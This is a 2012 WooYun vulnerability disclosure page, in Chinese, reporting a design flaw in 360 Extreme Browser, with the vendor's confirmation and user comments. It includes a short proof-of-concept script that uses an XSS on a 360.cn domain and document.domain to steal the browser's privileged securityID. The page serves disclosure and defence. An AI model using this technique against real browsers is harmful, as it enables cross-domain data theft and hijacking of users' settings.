当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08308

漏洞标题:360极速安全浏览器存在设计缺陷可导致一序列安全问题

相关厂商:奇虎360

漏洞作者: 唐尸三摆手

提交时间:2012-06-14 19:02

修复时间:2012-07-29 19:03

公开时间:2012-07-29 19:03

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-14: 细节已通知厂商并且等待厂商处理中
2012-06-15: 厂商已经确认,细节仅向厂商公开
2012-06-18: 细节向第三方安全合作伙伴开放
2012-08-09: 细节向核心白帽子及相关领域专家公开
2012-08-19: 细节向普通白帽子公开
2012-08-29: 细节向实习白帽子公开
2012-07-29: 细节向公众公开

简要描述:

看到微博上有人说ext.chrome.360.cn存在安全问题,事实上360存在更大的问题,只需要任意一个xss漏洞即可实现完全控制360安全浏览器,包括跨域获取其他网站的数据(譬如gmail),修改绑定的主页,窃取过去的浏览器记录等等,最新版测试通过,希望和上次的钓鱼url一起能给一个大的奖励。

详细说明:

360利用浏览器里每次随机生成的一个securityID来进行权限控制,利用该key可以进行跨域数据请求和读取,修改主页,历史浏览记录读取等特权操作,该securityID控制十分严格,只有在少数的几个域下面才可以被获得,这次ext.chrome.360.cn应该就是在此列,但是其在设计上存在一些缺陷导致任意一个域名都可以实现窃取该securityID
为了实现某些功能,hao.360.cn/i/index.html里存有该key,而hao.360.cn/i/index.html里存在着致命的一句

<body id="skin-inner">
<script>document.domain = "360.cn";</script>
<iframe src='http://my.360.cn/iefix.php' style="display:none;" frameborder='0' scrolling='no' id='ifrm-init' name='ifrm-init'></iframe>
<form action="" id="__init_form" name="__init_form" target="ifrm-init">


那么利用该问题即可获取securityID

漏洞证明:

请利用一个xss运行如下poc代码:

<script>
document.domain="360.cn";
</script>
<a href="javascript:x=window.open('http://hao.360.cn/i/index.html ');x.eval('alert(external.twGetSecurityID(window))');">x</a>


即可

修复方案:

以前好像有个代码执行的?

版权声明:转载请注明来源 唐尸三摆手@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-06-15 15:51

厂商回复:

感谢您对360的支持,我们将很快全面修复此类漏洞!

最新状态:

暂无


漏洞评价:

评论

  1. 2012-06-14 19:32 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    项!

  2. 2012-06-14 21:58 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    洞主,恭喜可以获得按仔一个。

  3. 2012-07-07 21:32 | Hacker7x ( 路人 | Rank:11 漏洞数:5 | 学习)

    好牛逼的!!!360浏览器安全浏览器不安全呀...

  4. 2012-07-07 22:55 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @Hacker7x 要说安全,火狐和谷歌还是相对比较安全的,毕竟360用的还是IE的内核,好多IE有的洞,360都有、、、

  5. 2012-07-08 23:21 | CzBiX ( 路人 | Rank:8 漏洞数:2 | CzBiX)

    @px1624 这里说的360极速浏览器用的就是Chrome的那个内核,此漏洞的主要原因是给予了ext.chrome.360.cn域过大的权限导致的

  6. 2012-07-09 14:40 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @CzBiX 急速不清楚,那个一般的用的貌似是IE7的

  7. 2012-07-16 19:06 | LittlePig ( 路人 | Rank:5 漏洞数:2 | </html>)

    @px1624 急速用的应该是chromium的代码